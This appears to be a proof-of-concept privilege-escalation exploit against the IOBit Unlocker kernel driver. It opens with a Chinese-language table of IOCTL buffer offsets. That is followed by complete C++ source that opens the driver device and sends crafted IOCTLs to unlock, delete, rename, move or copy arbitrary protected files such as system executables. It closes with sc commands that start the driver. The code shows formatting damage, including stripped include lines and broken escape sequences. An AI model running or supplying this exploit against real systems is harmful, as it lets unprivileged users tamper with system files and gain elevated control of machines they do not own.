1. 开锁：

    1. 0x0：Unicode中的文件名

    2. 0x424：字节0x3

 2. 解锁并删除：

    1. 0x0：Unicode中的文件名

    2. 0x420：字节0x1

    3. 0x424：字节0x3

 3. 解锁并重命名：

    1. 0x0：文件名

    2. 0x210：新文件名

    3. 0x420：字节0x2

    4. 0x424：字节0x3

 4. 解锁并移动：

    1. 0x0：文件名

    2. 0x210：具有完整路径的新文件名

    3. 0x420：字节0x3

    4. 0x424：字节0x3

 5. 解锁并复制：

    1. 0x0：文件名

    2. 0x210：具有完整路径的新文件名

    3. 0x420：字节0x4

    4. 0x424：字节0x3

 // UnlockExploit.cpp : This file contains the 'main' function. Program execution begins and ends there.

 //

 #include  #include  #include  

 BOOL FileExists(LPCWSTR szPath)

 {

  DWORD dwAttrib = GetFileAttributesW(szPath);

  printf("[i] File exists status: 0x%08xn", dwAttrib);

  return (dwAttrib != INVALID_FILE_ATTRIBUTES);

 }

 void ReadStringFromSTDIN(wchar_t * buffer)

 {

  printf("> ");

  fgetws((wchar_t*)buffer, 0x200, stdin);

  memset((LPVOID)((SIZE_T)buffer + (lstrlenW((LPCWSTR)buffer) * sizeof(WCHAR) - sizeof(WCHAR))), 0x00, sizeof(WCHAR)); //remove end of line character

 }

 int main(int argc, char* argv[]) {

  printf("[i] IOBit Unlocker Privilege Escalation PoCn");

  //open the driver

  HANDLE hDriver = CreateFileW(L"\\.\IOBitUnlockerDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

  if (hDriver != INVALID_HANDLE_VALUE)

  {

   printf("[+] opened handle to the drivern");

   DWORD input_buffer_size = 0x1000;

   DWORD output_buffer_size = 0x1000;

   //allocate input buffer

   LPVOID input_buffer = VirtualAlloc(NULL, (SIZE_T)input_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

   if (input_buffer == NULL)

   {

    printf("[-] Unable to allocate memory for input buffern");

    ExitProcess(-1);

   }

   printf("[+] Allocated input memory buffer at: 0x%Ixn", (UINT64)input_buffer);

   //allocate output buffer

   LPVOID output_buffer = VirtualAlloc(NULL, (SIZE_T)output_buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

   if (output_buffer == NULL)

   {

    printf("[-] Unable to allocate memory for output buffern");

    ExitProcess(-1);

   }

   printf("[+] Allocated output buffer memory at: 0x%Ixn", (UINT64)output_buffer);

   // Clear memory area

   memset(input_buffer, 0x00, input_buffer_size); 

   memset(output_buffer, 0x00, output_buffer_size);

   printf("[i] Enter full path for the file to unlock. Eg: C:\Windows\System32\cmd.exen");

   ReadStringFromSTDIN((wchar_t*)input_buffer);

   wprintf(L"Fileto be checked: %sn", (wchar_t *)input_buffer);

   if (!FileExists((LPCWSTR)input_buffer)) {

    printf("[-] This file doesn't existsn");

    ExitProcess(-1);

   }

   //print options

   printf("[+] File found!n");

   printf("[i] Choose an option:n");

   printf("1 - INFOn");

   printf("2 - Unlockn");

   printf("3 - Unlock & Deleten");

   printf("4 - Unlock & Renamen");

   printf("5 - Unlock & Moven");

   printf("6 - Unlock & Copyn");

   boolean valid = false;

   int option = 0;

   while (!valid)

   {

    printf("> ");

    int result = scanf_s("%d", &option);

    if (result == EOF) {

     printf("[-] Invalid inputn");

     continue;

    }

    if (result == 0) {

     while (fgetc(stdin) != 'n') // Read until a newline is found

      ;

     printf("[-] Invalid inputn");

     continue;

    }

    if (option > 0 && option < 7)

    {

     valid = true;

     while (fgetc(stdin) != 'n') // Read until a newline is found, if we don't do this it will mess up code later

      ;

    }

    else

    {

     printf("[-] Invalid number, enter something between 1 and 6n");

    }

   }

   DWORD dwIoctl_info = 0x222128;

   DWORD dwIoctl_action = 0x222124;

   DWORD dwBytesOut = 0;

   switch (option)

   {

   case 1:

   {

    DeviceIoControl(hDriver, dwIoctl_info, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    wprintf(L"[i] File info: %sn", (wchar_t*)output_buffer);

    break;

   }

   case 2:

   {

    ((byte*)input_buffer)[0x424] = 0x3;

    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    break;

   }

   case 3:

   {

    ((byte*)input_buffer)[0x420] = 0x1;

    ((byte*)input_buffer)[0x424] = 0x3;

    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    break;

   }

   case 4: //this is not working id the user doesn't have rights to access the file

   {

    ((byte*)input_buffer)[0x420] = 0x2;

    ((byte*)input_buffer)[0x424] = 0x3;

    printf("[i] Enter new filename:n");

    ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));

    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    break;

   }

   case 5:

   {

    ((byte*)input_buffer)[0x420] = 0x3;

    ((byte*)input_buffer)[0x424] = 0x3;

    printf("[i] Enter new path (move operation):n");

    ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));

    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    break;

   }

   case 6:

   {

    ((byte*)input_buffer)[0x420] = 0x4;

    ((byte*)input_buffer)[0x424] = 0x3;

    printf("[i] Enter new path (copy operation):n");

    ReadStringFromSTDIN((wchar_t*)((SIZE_T)input_buffer + 0x210));

    DeviceIoControl(hDriver, dwIoctl_action, input_buffer, input_buffer_size, output_buffer, output_buffer_size, &dwBytesOut, NULL);

    break;

   }

   default:

    break;

   }

  }

  else {

   printf("[-] Couldn't open the drivern");

   ExitProcess(-1);

  }

  CloseHandle(hDriver);

  ExitProcess(0);

 }

 sc config iobitunlocker start= demand

 sc start iobitunlocker